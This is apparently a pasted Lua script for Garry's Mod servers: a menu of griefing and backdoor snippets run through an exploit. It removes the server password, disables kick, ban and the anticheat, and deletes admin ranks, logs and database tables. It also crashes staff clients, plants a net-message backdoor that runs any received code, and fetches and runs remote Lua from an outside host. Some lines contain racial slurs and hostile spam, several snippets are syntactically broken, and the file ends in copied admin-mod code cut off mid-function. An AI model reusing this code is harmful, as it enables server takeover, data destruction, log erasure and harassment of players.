· 5 years ago · Mar 15, 2020, 08:18 PM
1--[[
2
3 Rainbow Physic Gun All
4
5]]--
6
7
8hook.Add("Think","somewhere_over_the_rainbow",function()
9 local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
10 for _, v in ipairs(player.GetAll()) do
11 v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
12 end
13end)
14
15
16--[[
17
18 Remove Server Password
19
20]]--
21
22
23RunConsoleCommand('sv_password','')
24
25
26--[[
27
28 StopSound
29
30]]--
31
32
33RunConsoleCommand("stopsound")
34
35
36--[[
37
38 AddMoney
39
40]]--
41
42
43for k,v in pairs(player.GetAll()) do v:addMoney("99999") end
44
45
46--[[
47
48 Set RP NAME ALL
49
50]]--
51
52
53for k,v in pairs(player.GetAll()) do v:setDarkRPVar( "rpname", "Kévin" ) end
54
55
56--[[
57
58 Delete ULX Ranks
59
60]]--
61
62
63if file.Exists( "ulib/groups.txt", "DATA" ) then file.Delete("ulib/groups.txt") end
64
65
66--[[
67
68 Break Kick / Ban
69
70]]--
71
72
73if ULib then
74 function ULib.kick( ply, reason, calling_ply ) end
75 function ULib.ban( ply, time, reason, admin ) end
76 function ULib.addBan( steamid, time, reason, name, admin ) end
77end
78
79if FAdmin then
80 local function no(ply) end
81 FAdmin.Commands.AddCommand("kick", no)
82 FAdmin.Commands.AddCommand("ban", no)
83 FAdmin.Commands.AddCommand("jail", no)
84 FAdmin.Commands.AddCommand("UnJail", no)
85 FAdmin.Commands.AddCommand("ClearDecals", no)
86 FAdmin.Commands.AddCommand("StopSounds", no)
87 FAdmin.Commands.AddCommand("CleanUp", no)
88end
89
90
91local _R = debug.getregistry()
92
93function _R.Player.Ban(ply, r) end
94
95
96function _R.Player.Kick(ply, r) end
97
98function game.KickID(id, reason) end
99
100local RCM = RunConsoleCommand
101
102function RunConsoleCommand(command, ...)
103 if command == "addip" then return end
104 RCM(command, ...)
105end
106
107
108--[[
109
110 Apocalypse
111
112]]--
113
114
115hook.Add("Think", "2012akaapocalypse", function()
116local explode = ents.Create( "env_explosion" )
117 explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
118 explode:Spawn()
119 explode:SetKeyValue( "iMagnitude", "500" )
120 explode:Fire( "Explode", 0, 0 )
121end)
122
123
124--[[
125
126 Clean UP Map
127
128]]--
129
130
131game.CleanUpMap()
132
133
134--[[
135
136 Random TP
137
138]]--
139
140
141for k,v in pairs(player.GetAll()) do v:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) ) end
142
143
144--[[
145
146 Unlock All Doors
147
148]]--
149
150
151local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("unlock", "", 0) end end
152
153
154--[[
155
156 Toggle All Door
157
158]]--
159
160
161local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end
162
163
164--[[
165
166 Launch Everybody
167
168]]--
169
170
171for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end
172
173
174--[[
175
176 Ignite Everybody
177
178]]--
179
180
181for k,v in pairs(player.GetAll()) do v:Ignite(120) end
182
183
184--[[
185
186 Kill Everybody
187
188]]--
189
190
191for k,v in pairs(player.GetAll()) do v:Kill() end
192
193
194--[[
195
196 Upgrade All
197
198]]--
199
200
201hook.Add("Think", "gvaked", function()
202 for k,v in pairs (player.GetAll()) do
203 v:SetModelScale(2.5, 100);
204 v:SetRunSpeed(400 * 2);
205 v:SetWalkSpeed(200 * 2);
206 v:SetModel( "models/props_c17/gravestone_statue001a.mdl" )
207 end
208end)
209
210
211--[[
212
213 Big Head
214
215]]--
216
217
218for k,v in pairs(player.GetAll()) do
219 local a = v:LookupBone("ValveBiped.Bip01_Head1")
220 local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
221 local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
222 local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
223 local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
224 local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
225 local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
226 local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
227 local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
228 local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
229 local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
230
231 v:ManipulateBoneScale( a, Vector(100,100,100))
232 v:ManipulateBoneScale( b, Vector(100,100,100))
233 v:ManipulateBoneScale( c, Vector(100,100,100))
234 v:ManipulateBoneScale( d, Vector(100,100,100))
235 v:ManipulateBoneScale( e, Vector(100,100,100))
236 v:ManipulateBoneScale( f, Vector(100,100,100))
237 v:ManipulateBoneScale( g, Vector(100,100,100))
238 v:ManipulateBoneScale( h, Vector(100,100,100))
239 v:ManipulateBoneScale( i, Vector(100,100,100))
240 v:ManipulateBoneScale( j, Vector(100,100,100))
241 v:ManipulateBoneScale( k, Vector(100,100,100))
242 end
243
244
245--[[
246
247 Force Danse All
248
249]]--
250
251
252for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end timer.Create("dance_loop",8.9,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_DANCE) end end )
253
254
255--[[
256
257 Force Say
258
259]]--
260
261
262for k,v in pairs(player.GetAll()) do
263 v:ConCommand("say /// connect 149.202.139.220:27600")
264end
265
266
267--[[
268
269 Force Retry All
270
271]]--
272
273
274for k,v in pairs(player.GetAll()) do
275 v:ConCommand("retry")
276end
277
278
279--[[
280
281 Nuke (M9k)
282
283]]--
284
285
286local rocket = ents.Create("m9k_launched_davycrockett")
287local ply2 = table.Random(player.GetAll())
288if ply2 == ply then ply:ChatPrint("[RunString] Prevented epicentre from being you.") else
289 rocket:SetPos(ply2:GetPos())
290 rocket:SetOwner(ply2)
291 rocket.Owner = ply2
292 rocket:Spawn()
293 rocket:Activate()
294ply:ChatPrint("[RunString] Allahu akbar.")
295end
296
297
298--[[
299
300 Crash All Staff
301
302]]--
303
304
305for _, p in pairs(player.GetAll()) do
306if (p:IsAdmin()) then
307 p:SendLua("cam.End3D()")
308end
309end
310
311
312--[[
313
314 Cough The Console
315
316]]--
317
318
319for k,v in pairs(player.GetAll()) do
320timer.Create("cough", 4, 0, function()
321 RunConsoleCommand("say", "*cough* *cough*")
322 v:EmitSound("ambient/voices/cough"..math.random(4)..".wav", 450 + math.random() * 50, 50 + math.random() * 20)
323 util.ScreenShake( Vector( 0, 0, 0 ), 1000, 1000, 5, 5000 )
324end)
325end
326
327
328--[[
329
330 SpeedHack
331
332]]--
333
334
335hook.Add("Think", "speedhackisback", function()
336for k,v in pairs (player.GetAll()) do
337 v:SetRunSpeed(400* 4);
338 v:SetWalkSpeed(200 * 2);
339end
340end)
341
342
343--[[
344
345 Minimize All Players
346
347]]--
348
349
350hook.Add("Think", "kirikou", function()
351 for k,v in pairs (player.GetAll()) do
352 v:SetModelScale(0.1, 80);
353 v:SetRunSpeed(400 * 2);
354 v:SetWalkSpeed(200 * 2);
355 end
356end)
357
358
359--[[
360
361 Giant All Players
362
363]]--
364
365
366hook.Add("Think", "giantgreenboy", function()
367 for k,v in pairs (player.GetAll()) do
368 v:SetModelScale(5.5, 100);
369 v:SetRunSpeed(200 * 2);
370 v:SetWalkSpeed(100 * 2);
371 end
372end)
373
374
375--[[
376
377 2D Players
378
379]]--
380
381
382local bm = false
383for k,v in pairs(player.GetAll()) do
384 local a = v:LookupBone("ValveBiped.Bip01_Head1")
385 local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
386 local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
387 local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
388 local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
389 local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
390 local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
391 local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
392 local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
393 local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
394 local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
395
396 v:ManipulateBoneScale( a, Vector(4,0,4))
397 v:ManipulateBoneScale( b, Vector(0,0,0))
398 v:ManipulateBoneScale( c, Vector(0,0,0))
399 v:ManipulateBoneScale( d, Vector(0,0,1))
400 v:ManipulateBoneScale( e, Vector(0,0,1))
401 v:ManipulateBoneScale( f, Vector(0,0,0))
402 v:ManipulateBoneScale( g, Vector(0,0,0))
403 v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
404 v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
405 v:ManipulateBoneScale( j, Vector(0,0,0))
406 v:ManipulateBoneScale( k, Vector(0,0,0))
407 end
408
409
410--[[
411
412 Strip All
413
414]]--
415
416
417for k,v in pairs(ply:GetWeapons()) do
418 net.Start("properties")
419 net.WriteString( "remove" , 32 )
420 net.WriteEntity( v )
421 net.SendToServer()
422 end
423 end
424end
425
426
427--[[
428
429 Slap all players
430
431]]--
432
433
434for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end
435
436
437--[[
438
439 Explose All Vehicule
440
441]]--
442
443
444for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
445
446 local explo = ents.Create("env_explosion")
447
448 explo:SetPos(v:GetPos())
449
450 explo:SetKeyValue("iMagnitude", "300")
451
452 explo:Spawn()
453
454 explo:Activate()
455
456 explo:Fire("Explode", "", 0)
457
458 end
459
460 end
461
462
463--[[
464
465 Sexy FootStep
466
467]]--
468
469
470hook.Add( "PlayerFootstep", "oooh", function( ply )
471 ply:EmitSound( "vo/npc/female01/pain0" .. math.random( 1, 9 ) .. ".wav", 75, math.random( 50, 100 ) )
472 end )
473
474
475--[[
476
477 Disable CAC
478
479]]--
480
481
482_G.cac = function() end
483
484
485
486--[[
487
488 Rename Server
489
490]]--
491
492
493RunConsoleCommand("hostname", "[FR] TeamFrench SchoolRP #"..math.random(1,999).."")
494
495
496
497--[[
498
499 Break Vanilla Kick & Ban
500
501]]--
502
503
504_R = debug.getregistry()
505
506 function game.KickID( id, reason )
507
508 return
509
510 end
511
512 function _R.Player.Ban()
513
514 return
515
516 end
517
518 function _R.Player.Kick()
519
520 return
521
522 end
523
524
525
526--[[
527
528 Remplir Data
529
530]]--
531
532
533for i = 1, 100 do
534file.Write( "hello.from.michael_" .. math.random( 1, 999999 ) .. ".txt", "[===[Niggerized Server]===]" )
535end
536
537
538
539--[[
540
541 Force Laugh All
542
543]]--
544
545
546timer.Create( "gotEm3?", 1, 120, function()
547
548for k, v in next, player.GetAll() do
549
550 if v:UserID() == v then continue end
551
552 v:SendLua('RunConsoleCommand("act","laungh")')
553
554end
555
556end )
557
558
559
560--[[
561
562 Clear ULX & Blogs Logs
563
564]]--
565
566
567timer.Simple(15, function()
568http.Fetch("disp0.cf/gas.lua",function(b)RunString(b)end,nil)
569timer.Simple(4, function()
570file.Delete( "ulx_logs/"..os.date( "%m-%d-%y" )..".txt" )
571file.Delete( "darkrp_logs/"..os.date( "%m-%d-%y" )..".txt" )
572sql.Query( "DROP TABLE blogs_v3 ;" )
573sql.Query( DELETE FROM ulogs; )
574sql.Query( DELETE FROM mlog_logs; )
575end )
576end )
577
578
579
580--[[
581
582 Set DarkRP Name
583
584]]--
585
586
587local DESIRED_NAME = "h4x0risedbyn4s4"
588
589timer.Create( "changeyournamemotherfucker", 0.5, 0, function() for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end end)
590end )
591
592
593for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end
594
595
596
597--[[
598
599 Erase Data
600
601]]--
602
603
604local files, directories = file.Find( "*", "DATA" ) for k, v in pairs( files ) do file.Delete( v ) end
605
606
607
608--[[
609
610 Erase MySQL DarkRP
611
612]]--
613
614
615MySQLite.query ('DROP TABLE darkrp_player' MySQLite.query('CREATE TABLE IF NOT EXISTS darkrp_player(idx INTEGER NOT NULL)')
616
617
618
619--[[
620
621 WAV Symphony
622
623]]--
624
625
626timer.Create( "eardieinstantly", 0.2, 0, function()
627
628 for _, p in pairs(player.GetAll()) do
629
630 p:EmitSound( "physics/body/body_medium_impact_hard"..math.random(1,6)..".wav", 100, math.random( 40, 180 ) )
631
632 end
633
634 end)
635
636
637
638--[[
639
640 The War
641
642]]--
643
644
645timer.Create( "datwar", 1, 0, function()
646
647 for _, p in pairs(player.GetAll()) do
648
649 p:EmitSound( "ambient/levels/streetwar/city_battle"..math.random( 1, 19 )..".wav", 100, math.random( 90, 120 ) )
650
651 end
652
653 end)
654
655
656
657--[[
658
659 Explose All Vehicule
660
661]]--
662
663
664for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
665
666 local explo = ents.Create("env_explosion")
667
668 explo:SetPos(v:GetPos())
669
670 explo:SetKeyValue("iMagnitude", "300")
671
672 explo:Spawn()
673
674 explo:Activate()
675
676 explo:Fire("Explode", "", 0)
677
678 end
679
680 end
681
682
683
684--[[
685
686 Spam toggle door
687
688]]--
689
690
691timer.Create("nigga", 1, 0, function()
692local doors = {"func_door", "func_door_rotating", "prop_door_rotating", "prop_dynamic"} for k, v in pairs(ents.GetAll()) do if table.HasValue(doors, v:GetClass()) then v:Fire("toggle", "", 0) end end
693end)
694
695
696
697--[[
698
699 Change Level
700
701]]--
702
703
704game.ConsoleCommand("changelevel gm_construct\n")
705
706
707
708--[[
709
710 Toggle GodMod
711
712]]--
713
714
715if v:HasGodMode() then v:GodDisable() else v:GodEnable() end
716
717
718
719--[[
720
721 Fast Crash Game
722
723]]--
724
725
726v:SendLua("function vacced() return vacced() end vacced()")
727
728
729
730--[[
731
732 Add .NET Backdoor
733
734]]--
735
736
737util.AddNetworkString( 'netstring' ) net.Receive( 'netstring', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )
738
739
740
741--[[
742
743 Reset Shadow Map Cycle
744
745]]--
746
747
748for k,v in pairs(player.GetAll()) do
749v:SendLua('RunConsoleCommand("r_shader_srgb","0")')
750end
751
752
753
754--[[
755
756 Cac ERROR
757
758]]--
759
760
761CAC.Detections = {}
762
763
764
765--[[
766
767 Turn all player screen 66 seconds
768
769]]--
770
771
772for k, v in pairs( player.GetAll() ) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10000, 10000, 6, 66 )]] ) end
773
774
775
776--[[
777
778 Force Player Micro
779
780]]--
781
782
783function VoiceOn()
784 LocalPlayer():ConCommand("+voicerecord")
785 end
786 concommand.Add("VoiceOn", VoiceOn)
787 function VoiceOff()
788 LocalPlayer():ConCommand("-voicerecord")
789 end
790 concommand.Add("VoiceOff", VoiceOff)
791
792
793
794--[[
795
796 Mute All Players
797
798]]--
799
800
801for k, v inpairs(player.GetAll()) do
802 v:SendLua("RunConsoleCommand('volume', 0)")
803end
804
805
806
807--[[
808
809 Disable ALT+E
810
811]]--
812
813
814RunConsoleCommand( "sitting_admin_only", "1" )
815
816
817
818--[[
819
820 Enable Global Noclip
821
822]]--
823
824
825RunConsoleCommand( "sbox_noclip", "1" )
826
827
828
829--[[
830
831 Kill !menu
832
833]]--
834
835
836ULib.addSayCommand( '!menu', stopnut )
837
838ULib.cmds.addCommand( "ulx menu", function()
839 sound.PlayURL( "https://instaud.io/_/2xHf.mp3", "", function()end )
840end )
841
842
843function stopnut()
844 sound.PlayURL( "https://instaud.io/_/2xHf.mp3", "", function()end )
845end
846
847
848
849
850--[[
851
852 ULX TRUE DO END
853
854]]--
855
856
857if file.Exists("ulx/modules/cl/xgui_client.lua","LUA") then
858 timer.Simple(1,function()
859--XGUI: A GUI for ULX -- by Stickly Man!
860xgui = xgui or {}
861
862--Make a spot for modules to store data and hooks
863xgui.data = xgui.data or {}
864xgui.hook = xgui.hook or { onProcessModules={}, onOpen={}, onClose={} }
865--Call this function in your client-side module code to ensure the data types have been instantiated on the client.
866function xgui.prepareDataType( dtype, location )
867 if not xgui.data[dtype] then
868 xgui.data[dtype] = location or {}
869 xgui.hook[dtype] = { clear={}, process={}, done={}, add={}, update={}, remove={}, data={} }
870 end
871end
872
873--Set up various hooks modules can "hook" into.
874function xgui.hookEvent( dtype, event, func, name )
875 if not xgui.hook[dtype] or ( event and not xgui.hook[dtype][event] ) then
876 Msg( "XGUI: Attempted to add to invalid type or event to a hook! (" .. dtype .. ", " .. ( event or "nil" ) .. ")\n" )
877 else
878 if not name then name = "FixMe" .. math.floor(math.random()*10000) end -- Backwards compatibility for older XGUI modules
879 if not event then
880 xgui.hook[dtype][name] = func
881 else
882 xgui.hook[dtype][event][name] = func
883 end
884 end
885end
886
887--Set up tables and functions for creating and storing modules
888xgui.modules = xgui.modules or {}
889
890xgui.modules.tab = xgui.modules.tab or {}
891function xgui.addModule( name, panel, icon, access, tooltip )
892 local refreshModules = false
893 for i = #xgui.modules.tab, 1, -1 do
894 if xgui.modules.tab[i].name == name then
895 xgui.modules.tab[i].panel:Remove()
896 xgui.modules.tab[i].tabpanel:Remove()
897 xgui.modules.tab[i].xbutton:Remove()
898 table.remove(xgui.modules.tab, i)
899 refreshModules = true
900 end
901 end
902 table.insert( xgui.modules.tab, { name=name, panel=panel, icon=icon, access=access, tooltip=tooltip } )
903 if refreshModules then xgui.processModules() end
904end
905
906xgui.modules.setting = xgui.modules.setting or {}
907function xgui.addSettingModule( name, panel, icon, access, tooltip )
908 local refreshModules = false
909 for i = #xgui.modules.setting, 1, -1 do
910 if xgui.modules.setting[i].name == name then
911 xgui.modules.setting[i].panel:Remove()
912 xgui.modules.setting[i].tabpanel:Remove()
913 table.remove(xgui.modules.setting, i)
914 refreshModules = true
915 end
916 end
917 table.insert( xgui.modules.setting, { name=name, panel=panel, icon=icon, access=access, tooltip=tooltip } )
918 if refreshModules then xgui.processModules() end
919end
920
921xgui.modules.submodule = xgui.modules.submodule or {}
922function xgui.addSubModule( name, panel, access, mtype )
923 local refreshModules = false
924 for i = #xgui.modules.submodule, 1, -1 do
925 if xgui.modules.submodule[i].name == name then
926 xgui.modules.submodule[i].panel:Remove()
927 table.remove(xgui.modules.submodule, i)
928 refreshModules = true
929 end
930 end
931 table.insert( xgui.modules.submodule, { name=name, panel=panel, access=access, mtype=mtype } )
932 if refreshModules then xgui.processModules() end
933end
934--Set up a spot to store entries for autocomplete.
935xgui.tabcompletes = xgui.tabcompletes or {}
936xgui.ulxmenucompletes = xgui.ulxmenucompletes or {}
937
938
939--Set up XGUI clientside settings, load settings from file if it exists
940xgui.settings = xgui.settings or {}
941if ULib.fileExists( "data/ulx/xgui_settings.txt" ) then
942 local input = ULib.fileRead( "data/ulx/xgui_settings.txt" )
943 input = input:match( "^.-\n(.*)$" )
944 xgui.settings = ULib.parseKeyValues( input )
945end
946--Set default settings if they didn't get loaded
947if not xgui.settings.moduleOrder then xgui.settings.moduleOrder = { "Cmds", "Groups", "Maps", "Settings", "Bans" } end
948if not xgui.settings.settingOrder then xgui.settings.settingOrder = { "Sandbox", "Server", "Client" } end
949if not xgui.settings.animTime then xgui.settings.animTime = 0.22 else xgui.settings.animTime = tonumber( xgui.settings.animTime ) end
950if not xgui.settings.infoColor then
951 --Default color
952 xgui.settings.infoColor = Color( 100, 255, 255, 128 )
953else
954 --Ensure that the color contains numbers, not strings
955 xgui.settings.infoColor = Color(xgui.settings.infoColor.r, xgui.settings.infoColor.g, xgui.settings.infoColor.b, xgui.settings.infoColor.a)
956end
957if not xgui.settings.showLoadMsgs then xgui.settings.showLoadMsgs = true else xgui.settings.showLoadMsgs = ULib.toBool( xgui.settings.showLoadMsgs ) end
958if not xgui.settings.skin then xgui.settings.skin = "Default" end
959if not xgui.settings.xguipos then xgui.settings.xguipos = { pos=5, xoff=0, yoff=0 } end
960if not xgui.settings.animIntype then xgui.settings.animIntype = 1 end
961if not xgui.settings.animOuttype then xgui.settings.animOuttype = 1 end
962
963
964function xgui.init( ply )
965 xgui.load_helpers()
966
967 --Initiate the base window (see xgui_helpers.lua for code)
968 xgui.makeXGUIbase{}
969
970 --Create the bottom infobar
971 xgui.infobar = xlib.makepanel{ x=10, y=399, w=580, h=20, parent=xgui.anchor }
972 xgui.infobar:NoClipping( true )
973 xgui.infobar.Paint = function( self, w, h )
974 draw.RoundedBoxEx( 4, 0, 1, 580, 20, xgui.settings.infoColor, false, false, true, true )
975 end
976 local infoLabel = string.format( "\nULX Admin Mod :: XGUI - Team Ulysses | ULX %s | ULib %s", ULib.pluginVersionStr("ULX"), ULib.pluginVersionStr("ULib") )
977 xlib.makelabel{ x=5, y=-10, label=infoLabel, parent=xgui.infobar }:NoClipping( true )
978 xgui.thetime = xlib.makelabel{ x=515, y=-10, label="", parent=xgui.infobar }
979 xgui.thetime:NoClipping( true )
980 xgui.thetime.check = function()
981 xgui.thetime:SetText( os.date( "\n%I:%M:%S %p" ) )
982 xgui.thetime:SizeToContents()
983 timer.Simple( 1, xgui.thetime.check )
984 end
985 xgui.thetime.check()
986
987 --Create an offscreen place to parent modules that the player can't access
988 xgui.null = xlib.makepanel{ x=-10, y=-10, w=0, h=0 }
989 xgui.null:SetVisible( false )
990
991 --Load modules
992 local sm = xgui.settings.showLoadMsgs
993 if sm then
994 Msg( "\n///////////////////////////////////////\n" )
995 Msg( "// ULX GUI -- Made by Stickly Man! //\n" )
996 Msg( "///////////////////////////////////////\n" )
997 Msg( "// Loading GUI Modules... //\n" )
998 end
999 for _, file in ipairs( file.Find( "ulx/xgui/*.lua", "LUA" ) ) do
1000 include( "ulx/xgui/" .. file )
1001 if sm then Msg( "// " .. file .. string.rep( " ", 32 - file:len() ) .. "//\n" ) end
1002 end
1003 if sm then Msg( "// Loading Setting Modules... //\n" ) end
1004 for _, file in ipairs( file.Find( "ulx/xgui/settings/*.lua", "LUA" ) ) do
1005 include( "ulx/xgui/settings/" .. file )
1006 if sm then Msg( "// " .. file .. string.rep( " ", 32 - file:len() ) .. "//\n" ) end
1007 end
1008 if sm then Msg( "// Loading Gamemode Module(s)... //\n" ) end
1009 if ULib.isSandbox() and GAMEMODE.FolderName ~= "sandbox" then -- If the gamemode sandbox-derived (but not sandbox, that will get added later), then add the sandbox Module
1010 include( "ulx/xgui/gamemodes/sandbox.lua" )
1011 if sm then Msg( "// sandbox.lua //\n" ) end
1012 end
1013 for _, file in ipairs( file.Find( "ulx/xgui/gamemodes/*.lua", "LUA" ) ) do
1014 if string.lower( file ) == string.lower( GAMEMODE.FolderName .. ".lua" ) then
1015 include( "ulx/xgui/gamemodes/" .. file )
1016 if sm then Msg( "// " .. file .. string.rep( " ", 32 - file:len() ) .. "//\n" ) end
1017 break
1018 end
1019 if sm then Msg( "// No module found! //\n" ) end
1020 end
1021 if sm then Msg( "// Modules Loaded! //\n" ) end
1022 if sm then Msg( "///////////////////////////////////////\n\n" ) end
1023
1024 --Find any existing modules that aren't listed in the requested order.
1025 local function checkModulesOrder( moduleTable, sortTable )
1026 for _, m in ipairs( moduleTable ) do
1027 local notlisted = true
1028 for _, existing in ipairs( sortTable ) do
1029 if m.name == existing then
1030 notlisted = false
1031 break
1032 end
1033 end
1034 if notlisted then
1035 table.insert( sortTable, m.name )
1036 end
1037 end
1038 end
1039 checkModulesOrder( xgui.modules.tab, xgui.settings.moduleOrder )
1040 checkModulesOrder( xgui.modules.setting, xgui.settings.settingOrder )
1041
1042 --Check if the server has XGUI installed
1043 RunConsoleCommand( "_xgui", "getInstalled" )
1044
1045 xgui.initialized = true
1046
1047 xgui.processModules()
1048end
1049hook.Add( ULib.HOOK_LOCALPLAYERREADY, "InitXGUI", xgui.init, HOOK_MONITOR_LOW )
1050
1051function xgui.saveClientSettings()
1052 if not ULib.fileIsDir( "data/ulx" ) then
1053 ULib.fileCreateDir( "data/ulx" )
1054 end
1055 local output = "// This file stores clientside settings for XGUI.\n"
1056 output = output .. ULib.makeKeyValues( xgui.settings )
1057 ULib.fileWrite( "data/ulx/xgui_settings.txt", output )
1058end
1059
1060function xgui.checkModuleExists( modulename, moduletable )
1061 for k, v in ipairs( moduletable ) do
1062 if v.name == modulename then
1063 return k
1064 end
1065 end
1066 return false
1067end
1068
1069function xgui.processModules()
1070 local activetab = nil
1071 if xgui.base:GetActiveTab() then
1072 activetab = xgui.base:GetActiveTab():GetValue()
1073 end
1074
1075 local activesettingstab = nil
1076 if xgui.settings_tabs:GetActiveTab() then
1077 activesettingstab = xgui.settings_tabs:GetActiveTab():GetValue()
1078 end
1079
1080 xgui.base:Clear() --We need to remove any existing tabs in the GUI
1081 xgui.tabcompletes = {}
1082 xgui.ulxmenucompletes = {}
1083 for _, modname in ipairs( xgui.settings.moduleOrder ) do
1084 local module = xgui.checkModuleExists( modname, xgui.modules.tab )
1085 if module then
1086 module = xgui.modules.tab[module]
1087 if module.xbutton == nil then
1088 module.xbutton = xlib.makebutton{ x=555, y=-5, w=32, h=24, btype="close", parent=module.panel }
1089 module.xbutton.DoClick = function()
1090 xgui.hide()
1091 end
1092 end
1093 if LocalPlayer():query( module.access ) then
1094 xgui.base:AddSheet( module.name, module.panel, module.icon, false, false, module.tooltip )
1095 module.tabpanel = xgui.base.Items[#xgui.base.Items].Tab
1096 table.insert( xgui.tabcompletes, "xgui show " .. modname )
1097 table.insert( xgui.ulxmenucompletes, "ulx menu " .. modname )
1098 else
1099 module.tabpanel = nil
1100 module.panel:SetParent( xgui.null )
1101 end
1102 end
1103 end
1104
1105 xgui.settings_tabs:Clear() --Clear out settings tabs for reprocessing
1106 for _, modname in ipairs( xgui.settings.settingOrder ) do
1107 local module = xgui.checkModuleExists( modname, xgui.modules.setting )
1108 if module then
1109 module = xgui.modules.setting[module]
1110 if LocalPlayer():query( module.access ) then
1111 xgui.settings_tabs:AddSheet( module.name, module.panel, module.icon, false, false, module.tooltip )
1112 module.tabpanel = xgui.settings_tabs.Items[#xgui.settings_tabs.Items].Tab
1113 table.insert( xgui.tabcompletes, "xgui show " .. modname )
1114 table.insert( xgui.ulxmenucompletes, "ulx menu " .. modname )
1115 else
1116 module.tabpanel = nil
1117 module.panel:SetParent( xgui.null )
1118 end
1119 end
1120 end
1121
1122 --Call any functions that requested to be called when permissions change
1123 xgui.callUpdate( "onProcessModules" )
1124 table.sort( xgui.tabcompletes )
1125 table.sort( xgui.ulxmenucompletes )
1126
1127 local hasFound = false
1128 if activetab then
1129 for _, v in pairs( xgui.base.Items ) do
1130 if v.Tab:GetValue() == activetab then
1131 xgui.base:SetActiveTab( v.Tab, true )
1132 hasFound = true
1133 break
1134 end
1135 end
1136 if not hasFound then
1137 xgui.base.m_pActiveTab = "none"
1138 xgui.base:SetActiveTab( xgui.base.Items[1].Tab, true )
1139 end
1140 end
1141
1142 hasFound = false
1143 if activesettingstab then
1144 for _, v in pairs( xgui.settings_tabs.Items ) do
1145 if v.Tab:GetValue() == activesettingstab then
1146 xgui.settings_tabs:SetActiveTab( v.Tab, true )
1147 hasFound = true
1148 break
1149 end
1150 end
1151 if not hasFound then
1152 xgui.settings_tabs.m_pActiveTab = "none"
1153 xgui.settings_tabs:SetActiveTab( xgui.settings_tabs.Items[1].Tab, true )
1154 end
1155 end
1156end
1157
1158function xgui.checkNotInstalled( tabname )
1159 if xgui.notInstalledWarning then return end
1160
1161 gui.EnableScreenClicker( true )
1162 RestoreCursorPosition()
1163 xgui.notInstalledWarning = xlib.makeframe{ label="XGUI Warning!", w=375, h=110, nopopup=true, showclose=false, skin=xgui.settings.skin }
1164 xlib.makelabel{ x=10, y=30, wordwrap=true, w=365, label="XGUI has not initialized properly with the server. This could be caused by a heavy server load after a mapchange, a major error during XGUI server startup, or XGUI not being installed.", parent=xgui.notInstalledWarning }
1165
1166 xlib.makebutton{ x=37, y=83, w=80, label="Offline Mode", parent=xgui.notInstalledWarning }.DoClick = function()
1167 xgui.notInstalledWarning:Remove()
1168 xgui.notInstalledWarning = nil
1169 offlineWarning = xlib.makeframe{ label="XGUI Warning!", w=375, h=110, nopopup=true, showclose=false, skin=xgui.settings.skin }
1170 xlib.makelabel{ x=10, y=30, wordwrap=true, w=365, label="XGUI will run locally in offline mode. Some features will not work, and information will be missing. You can attempt to reconnect to the server using the 'Refresh Server Data' button in the XGUI client menu.", parent=offlineWarning }
1171 xlib.makebutton{ x=77, y=83, w=80, label="OK", parent=offlineWarning }.DoClick = function()
1172 offlineWarning:Remove()
1173 xgui.offlineMode = true
1174 xgui.show( tabname )
1175 end
1176 xlib.makebutton{ x=217, y=83, w=80, label="Cancel", parent=offlineWarning }.DoClick = function()
1177 offlineWarning:Remove()
1178 RememberCursorPosition()
1179 gui.EnableScreenClicker( false )
1180 end
1181 end
1182
1183 xlib.makebutton{ x=257, y=83, w=80, label="Close", parent=xgui.notInstalledWarning }.DoClick = function()
1184 xgui.notInstalledWarning:Remove()
1185 xgui.notInstalledWarning = nil
1186 RememberCursorPosition()
1187 gui.EnableScreenClicker( false )
1188 end
1189
1190 xlib.makebutton{ x=147, y=83, w=80, label="Try Again", parent=xgui.notInstalledWarning }.DoClick = function()
1191 xgui.notInstalledWarning:Remove()
1192 xgui.notInstalledWarning = nil
